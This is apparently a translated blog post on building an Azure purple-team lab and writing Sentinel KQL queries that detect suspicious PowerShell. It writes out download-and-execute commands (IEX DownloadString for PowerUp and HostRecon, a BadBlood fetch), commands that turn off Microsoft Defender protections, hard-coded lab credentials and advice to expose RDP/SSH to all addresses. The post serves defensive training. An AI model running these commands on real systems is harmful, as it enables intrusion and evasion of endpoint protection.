Azure 紫队沙箱:威胁狩猎与安全运营实战指南

本文详细介绍了利用Azure构建紫队环境进行威胁狩猎的全流程,包括ARM模板部署、日志分析、Microsoft Defender for Identity与Sentinel配置,并通过实战演示PowerShell攻击检测与KQL查询技术。

Azure 沙箱 – 紫队版

Azure 已取代 AWS 成为我个人开发流程的首选。这听起来可能有些疯狂,但请听我解释。微软不仅巩固了其产品线,持续提升安全态势,更在我看来,不遗余力地从根源消除威胁。尽管 AWS 是云领域的创新者并保持这一地位,但它们正经历所有早期采用者在商业中面临的挑战。它们很快意识到,其部分产品在其他平台上遇到了真正竞争,无论是技术还是成本方面。Azure 通过仪表板集成、日志查询工具、易于部署的终端保护解决方案、通过 Sentinel 实现的全栈安全运营以及更便宜的操作系统许可,创造了一个我喜爱的替代方案。

抛开个人观点,本文旨在介绍 Azure 市场的一些基本概念及其功能。我们还将深入探讨威胁狩猎的紫队生命周期,这与我毕生的工作密切相关。事不宜迟,以下是主题:

  • ARM 模板和部署
  • 日志分析
  • Microsoft Defender for Identity(原 MDATP)
  • Microsoft Sentinel
  • 紫队概念

大约去年此时,Azure Sentinel 作为威胁狩猎平台被引入。该工作依赖于 Roberto 和 Jose Luis Rodriguez 构建的 OTRF 框架。相关博客链接如下。

https://www.blackhillsinfosec.com/azure-sentinel-quick-deploy-with-cyb3rward0gs-sentinel-to-go-lets-catch-cobalt-strike/

该工作依赖 Azure Resource Manager 模板(ARM)根据 ARM 定义部署域、攻击机和相关服务。部署过程中还提供了一些自定义机会。简单来说:找到一个基础模板,根据需求自定义,点击按钮,即可开始运行。Azure 团队在 GitHub 上维护了一个仓库,提供满足各种需求的 ARM 模板入门指南。 链接:https://github.com/Azure/azure-quickstart-templates

点击进入 active-directory 快速启动目录,到达以下页面,最终可以“点击部署”。

这就是 Azure Resource Manager。简单、可定制、可扩展,且能够满足最复杂的需求。作为一个经验丰富的紫队成员,我的需求很简单。执行生命周期所需的只是一个域、加入的工作站、攻击机和搜索日志的地方。下一张截图中的按钮可以完成所有操作(www.doazlab.com 和 https://github.com/DefensiveOrigins/DO-LAB)。此外,没有 Azure 账户?领取免费额度:https://azure.microsoft.com/en-us/free/。

过程很简单,点击部署。创建一个新的资源组或选择现有资源组,并更改位置。

下一屏幕询问您想要哪种大小的 VM。总共有三个——一个 DC、一个 WS、一个 Linux。

最后,模板询问是否要将两个 RDP 监听器和 SSH 限制到受信任的网络块。出于威胁研究目的,我通常将其配置为全零。

此版本中的凭据是硬编码的。您可能希望将此构建用作模板;我建议在构建过程中提示更改这些凭据,或在 ARM 模板中更改它们。 域:doazlab.com 用户名:doadmin 密码:DOLabAdmin1!

最后一页确认您的配置并强制您接受条款和条件。大约 45 分钟后,我们可以开始威胁狩猎! … 导航到 portal.azure.com 并找到您的 Log Analytics 工作区。点击 Virtual machines 按钮。

VM 需要连接到 Log Analytics 才能开始日志流动。VM 部署时没有完全连接,需要额外的“点击”和“连接”以获得完整的日志记录功能。

一旦所有虚拟机都连接到 Log Analytics 工作区,导航回 portal.azure.com(主页)并搜索 Sentinel。

确认日志正在流动。

接下来,您需要收集虚拟实验室环境的公共 IP 地址分配。根据反馈,每个 Windows VM 都有一个 RDP 监听器,Linux 系统有一个 SSH 监听器。

记住您的凭据! 对于 RDP 连接,使用 doazlab\doadmin:DOLabAdmin1! 对于 SSH,使用 doadmin:DOLabAdmin1! 一旦通过 RDP 连接到 DC,运行 BadBlood 在 AD 中制造一些噪音。以下命令将完成此操作。 $ProgressPreference = ‘SilentlyContinue’ invoke-webrequest -URI https://github.com/Relkci/BadBlood/archive/refs/heads/master.zip -outfile badblood.zip Expand-Archive .\badblood.zip $ProgressPreference = ‘Continue’ ./badblood/BadBlood-master/invoke-badblood.ps1

不要在生产环境中运行此操作。否则您将面临绝对灾难。不要在生产环境中运行此操作。 完成后,您将拥有一个遗留的 AD 环境,类似于在野外看到的一些域。

让我们从工作站制造一些 PowerShell 噪音,看看我们的日志查询能力如何响应调用。下一个命令调用 PowerUp 的 AllChecks。 Set-ExecutionPolicy bypass -force IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1') invoke-allchecks

如果您遇到问题,下一个命令应该可以静音 Microsoft Defender。如果您之前在 ARM 模板中进行了任何更改,可能需要调整命令。 Set-MpPreference -ExclusionPath ‘c:\users\doadmin’ Set-MpPreference -ExclusionProcess “powershell.exe”, “cmd.exe” Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

最后,让我们运行 HostRecon。 Set-ExecutionPolicy bypass -Force [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/dafthack/HostRecon/master/HostRecon.ps1') Invoke-HostRecon |Out-File recon.txt

这应该在我们的 LA 仪表板中制造了一些噪音,这将使我们能够制定计划以在未来捕获此活动,甚至更好的是创建警报条件。 访问 Sentinel 仪表板并点击 Logs。找到查询字段并输入以下 KQL 查询。 union Event, SecurityEvent
| where EventID in (4103, 4104, 4105, 4688)
| where EventData contains “iex” or EventData contains “invoke” or EventData contains “import” or EventData contains “bypass” or EventData contains “git*” | project Computer , RenderedDescription , ParameterXml

这里发生了什么?什么是 KQL?我以为 KQL 是 Kibana 查询语言!? 我们制定的查询寻找与 PowerShell 相关的日志事件;请参阅 ‘where EventID’ 子句。然后我们对这些特定 ID 的 ‘EventData’ 结果进行字符串搜索。最后,我们只对几列感兴趣——您可以删除以 ‘| project’ 开头的底行,或在前面添加 ‘//’ 注释该行以查看整个结果集。这将允许您使用 ‘project’ 操作符制定自己感兴趣的列。 KQL 非常棒,你们中的 DBA 会欣赏它并毫无顾虑地掌握它。如果它走起来像 SQL,说起来像 SQL,那么它就很像 SQL。 不,Kusto 查询语言是 Microsoft Sentinel 的语言。而且,我们在下面有一些有趣的结果。

因此,我们可能希望保存此查询以备后用,这非常简单。看到那里的 Save 按钮了吗?使用它。我用唯一标识符保存所有返回感兴趣数据的查询。如下所示,我喜欢单词 sketchy。它简化了我未来搜索有用查询的过程。

您还可以相对轻松地创建警报。在这一点上,如果您不对 Azure 云的所有功能感到兴奋,我会感到惊讶。

让我们用一些紫队方法将所有内容整合在一起。我们的目标是改善内部运营和安全态势。我们通过使用 Sentinel 和几个云 VM 进行快速威胁分析实现了这一目标。顺便说一句:Log Analytics 代理也可以安装在您的本地服务器上。

风险评估:PowerShell 工具带来的持续风险和即将进行的渗透测试 计划:提高我们的 PowerShell 检测能力 攻击:在 Azure 上启动沙箱并运行一些可疑的 PowerShell 命令 狩猎/防御:学习如何在 Azure Sentinel 中查询和创建警报 加固/调整:未来!在 Azure 中创建 playbook 以相应响应这些警报(这里有太多能力——也许是下一篇博客) 报告:向我们的 CISO/CTO 展示这一点——参见我们的报告模板:https://github.com/DefensiveOrigins/AtomicPurpleTeam/blob/master/Playbook/PB0170.pdf 感谢阅读,请加入我们的培训、网络研讨会、渗透测试和所有信息安全需求。 https://www.doazlab.com https://github.com/DefensiveOrigins/DO-LAB https://azure.microsoft.com/en-us/free/ https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/ https://github.com/DefensiveOrigins/AtomicPurpleTeam

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计